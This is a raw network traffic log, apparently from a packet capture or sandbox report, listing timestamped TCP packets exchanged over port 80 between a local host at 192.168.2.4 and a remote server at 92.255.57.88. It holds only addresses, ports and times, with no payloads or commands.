Nov 26, 2024 00:07:28.521121025 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.521166086 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.522767067 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.522830009 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.522859097 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.522964001 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.524683952 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.524756908 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.524789095 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.524831057 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.526396036 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.526453018 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.526487112 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.526563883 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.528170109 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.528228045 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.528264999 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.528340101 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.530005932 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.530051947 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.530082941 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.530188084 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.531897068 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.532004118 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.532030106 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.532043934 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.533566952 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.533729076 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.533766985 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.535428047 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.535487890 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.535638094 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.535700083 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.537154913 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.537194967 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.586411953 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.586456060 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.586527109 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.586836100 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.586882114 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.586945057 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.586986065 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.587862015 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.587915897 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.587946892 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.587994099 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.588908911 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.588956118 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.589010954 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.589072943 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.589946985 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.590003967 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.590054035 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.590162039 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.591020107 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.591064930 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.591100931 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.591144085 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.592052937 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.592094898 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.592169046 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.592206955 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.593091011 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.593139887 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.593195915 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.593242884 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.594125032 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.594170094 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.594248056 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.594295025 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.595155954 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.595211983 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.595271111 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.595330000 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.596215010 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.596256018 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.596286058 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.596337080 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.597238064 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.597306967 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.597347975 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.597387075 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.598321915 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.598365068 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.598407030 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.598474979 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.599366903 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.599410057 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.599490881 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.599529982 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.600369930 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.600416899 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.600454092 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.600492001 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.601387024 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.601459026 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.601517916 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.601556063 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.602468967 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.602510929 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.602579117 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.602618933 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.603492975 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.603573084 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.603600025 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.603672981 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.604556084 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.604618073 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.604677916 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.604724884 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.605618954 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.605664968 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.605736017 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.605777025 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.606703997 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.606751919 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.606794119 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.606966019 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.607678890 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.607729912 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.607794046 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.607929945 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.608705997 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.608823061 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.608835936 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.608864069 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.609766006 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.609816074 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.609882116 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.609935045 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.610790968 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.610841990 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.610905886 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.610951900 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.611834049 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.611887932 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.611970901 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.612083912 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.612873077 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.612922907 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.612926006 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.612972021 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.637948990 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.638031960 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.638040066 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.638067961 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.638319969 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.638362885 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.638420105 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.638477087 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.639333963 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.639379025 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.639719963 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.639775038 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.639811039 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.639851093 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.640790939 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.640836000 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.640913010 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.640974045 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.641830921 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.641910076 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.641916990 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.641962051 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.643840075 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.643851042 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.643914938 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.646509886 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.646557093 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.646663904 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.646677017 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.646687031 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.646709919 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.646720886 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.647667885 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.647710085 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.647811890 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.647869110 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.648031950 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.648041010 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.648073912 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.648093939 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.713854074 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.713901997 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.714004993 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.714051008 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.714508057 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.714555025 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.714657068 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.714699030 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.714864016 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.714874983 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.714884996 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.714895010 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.714909077 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.714936972 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.715755939 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.715776920 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.715802908 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.715823889 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.716722012 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.716773987 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.716850042 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.716897011 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.717750072 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.717801094 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.717849016 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.717901945 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.718771935 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.718818903 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.718854904 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.718913078 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.719836950 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.719847918 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.719877958 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.720824957 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.720871925 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.720937967 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.720992088 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.721875906 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.721919060 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.721972942 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.722018957 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.722894907 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.722939968 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.722968102 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.723015070 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.723962069 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.724009991 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.724030018 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.724076986 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.724911928 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.724956989 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.725012064 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.725060940 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.725996971 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.726038933 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.726102114 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.726146936 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.726968050 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.727015018 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.727068901 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.727116108 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.728027105 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.728074074 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.728105068 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.728151083 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.787746906 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.788048029 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.788129091 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.788137913 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.788177967 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.788296938 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.788341045 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.789109945 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.789469004 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.789521933 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.789648056 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.789695024 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.790458918 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.790508986 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.790571928 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.790618896 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.791438103 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.791485071 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.791538000 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.791584015 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.792429924 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.792471886 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.792541027 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.793411016 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.793452978 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.793514967 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.793557882 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.794392109 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.794440985 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.794514894 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.794557095 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.795352936 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.795398951 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.795469999 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.795515060 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.796343088 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.796394110 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.796428919 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.796472073 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.797338963 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.797434092 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.797481060 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.798335075 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.798382044 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.798422098 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.798466921 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.799283028 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.799336910 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.799362898 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.799411058 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.800260067 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.800306082 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.800343037 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.800389051 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.801240921 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.801356077 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.801403046 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.802228928 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.802360058 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.802403927 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.803216934 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.803261042 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.803394079 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.803440094 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.804183960 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.804229975 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.804286003 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.804330111 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.805156946 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.805267096 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.805314064 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.806155920 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.806206942 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.806267023 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.806312084 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.807111025 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.807156086 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.807214022 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.807256937 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.808084965 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.808142900 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.808182001 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.808226109 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.809091091 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.809233904 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.809281111 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.810076952 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.810125113 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.810158014 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.810204029 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.811117887 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.811161995 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.811199903 CET	80	49734	92.255.57.88	192.168.2.4
